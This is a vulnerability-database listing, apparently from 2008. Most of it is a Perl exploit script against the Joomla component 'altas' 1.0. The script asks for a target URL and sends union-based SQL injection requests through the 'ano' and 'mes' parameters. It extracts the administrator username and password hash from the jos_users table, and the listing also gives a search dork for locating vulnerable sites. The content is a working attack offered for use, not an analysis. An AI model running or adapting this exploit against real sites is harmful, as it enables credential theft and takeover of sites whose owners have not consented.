Joomla Component altas 1.0 Multiple Remote SQL Injection Exploit

🗓️ 05 Jul 2008 00:00:00Reported by RootType
Joomla Component altas 1.0 Multiple Remote SQL Injection Exploi

                                                #!/usr/bin/perl&nbsp;-w

#&nbsp;&nbsp;&nbsp;Joomla&nbsp;Component&nbsp;altas&nbsp;&nbsp;v&nbsp;1.0&nbsp;&nbsp;Multiple&nbsp;Remote&nbsp;SQL&nbsp;Injection
#&nbsp;&nbsp;variables&nbsp;vuln&nbsp;:&nbsp;(&nbsp;ano&nbsp;)&nbsp;&nbsp;&amp;&nbsp;(&nbsp;mes&nbsp;)&nbsp;

#[*]&nbsp;Found&nbsp;by&nbsp;:&nbsp;Houssamix&nbsp;From&nbsp;H-T&nbsp;Team&nbsp;

#[*]&nbsp;H-T&nbsp;Team&nbsp;[&nbsp;HouSSaMix&nbsp;+&nbsp;ToXiC350&nbsp;]&nbsp;
#[*]&nbsp;Greetz&nbsp;:&nbsp;&nbsp;Islamic&nbsp;Security&nbsp;Team&nbsp;&nbsp;&amp;&nbsp;&nbsp;and&nbsp;all&nbsp;musulmans&nbsp;hackers

#[*]&nbsp;Component_Name:&nbsp;&nbsp;&nbsp;altas
#[*]&nbsp;Script_Name:&nbsp;Joomla
#[*]&nbsp;Dork&nbsp;:&nbsp;index.php?option=com_altas

#&nbsp;&lt;name&gt;altas&lt;/name&gt;
#&nbsp;&lt;creationDate&gt;10/09/2007&lt;/creationDate&gt;
#&nbsp;&lt;author&gt;Ilimitada&nbsp;Hosting&nbsp;Co.&lt;/author&gt;
#&nbsp;&lt;copyright&gt;(c)&nbsp;2007&lt;/copyright&gt;
#&nbsp;&lt;authorEmail&gt;[email protected]&lt;/authorEmail&gt;
#&nbsp;&lt;authorUrl&gt;www.ilihost.com&lt;/authorUrl&gt;
#&nbsp;&lt;version&gt;1.0&lt;/version&gt;

system(&quot;color&nbsp;f&quot;);
print&nbsp;&quot;\t\t========================================================\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Viva&nbsp;Islam&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t========================================================\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;Joomla&nbsp;Component&nbsp;altas&nbsp;v&nbsp;1&nbsp;multiple&nbsp;SQL&nbsp;Injection&nbsp;	&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t========================================================\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;H-T&nbsp;Team&nbsp;[HouSSaMiX&nbsp;-&nbsp;ToXiC350]	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t========================================================\n\n&quot;;

use&nbsp;LWP::UserAgent;

print&nbsp;&quot;\nEnter&nbsp;your&nbsp;Target&nbsp;(http://site.com/joomla/):&nbsp;&quot;;
	chomp(my&nbsp;$target=&lt;STDIN&gt;);

$uname=&quot;username&quot;;
$magic=&quot;jos_users&quot;;

$b&nbsp;=&nbsp;LWP::UserAgent-&gt;new()&nbsp;or&nbsp;die&nbsp;&quot;Could&nbsp;not&nbsp;initialize&nbsp;browser\n&quot;;
$b-&gt;agent('Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;7.0;&nbsp;Windows&nbsp;NT&nbsp;5.1)');

$host&nbsp;=&nbsp;$target&nbsp;.&nbsp;&quot;index.php?option=com_altas&amp;mes=hsmx&amp;ano=-1%20union%20select%201,2,concat(CHAR(60,117,115,101,114,62),&quot;.$uname.&quot;,CHAR(60,117,115,101,114,62)),4,5,6,7,8&nbsp;from/**/&quot;.$magic.&quot;/**&quot;;
$res&nbsp;=&nbsp;$b-&gt;request(HTTP::Request-&gt;new(GET=&gt;$host));
$answer&nbsp;=&nbsp;$res-&gt;content;

print&nbsp;&quot;\n[+]&nbsp;The&nbsp;Target&nbsp;:&nbsp;&quot;.$target.&quot;&quot;;

if&nbsp;($answer&nbsp;=~&nbsp;/&lt;user&gt;(.*?)&lt;user&gt;/){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		print&nbsp;&quot;\n[+]&nbsp;Admin&nbsp;User&nbsp;:&nbsp;$1&quot;;
}
$host2&nbsp;=&nbsp;$target&nbsp;.&nbsp;&quot;index.php?option=com_altas&amp;mes=-1%20union%20select%201,2,password,4,5,6,7,8/**/from/**/jos_users--&quot;;
$res2&nbsp;=&nbsp;$b-&gt;request(HTTP::Request-&gt;new(GET=&gt;$host2));
$answer&nbsp;=&nbsp;$res2-&gt;content;
if&nbsp;($answer&nbsp;=~/([0-9a-fA-F]{32})/){
		print&nbsp;&quot;\n[+]&nbsp;Admin&nbsp;Hash&nbsp;:&nbsp;$1\n\n&quot;;
		print&nbsp;&quot;#&nbsp;&nbsp;&nbsp;Exploit&nbsp;succeed!&nbsp;&nbsp;#\n\n&quot;;
}
else{print&nbsp;&quot;\n[-]&nbsp;Exploit&nbsp;Failed...\n&quot;;
}

#&nbsp;coded&nbsp;&nbsp;by&nbsp;Houssamix&nbsp;From&nbsp;H-T&nbsp;Team
05 Jul 2008 00:00Current
7.1High risk
Vulners AI Score7.1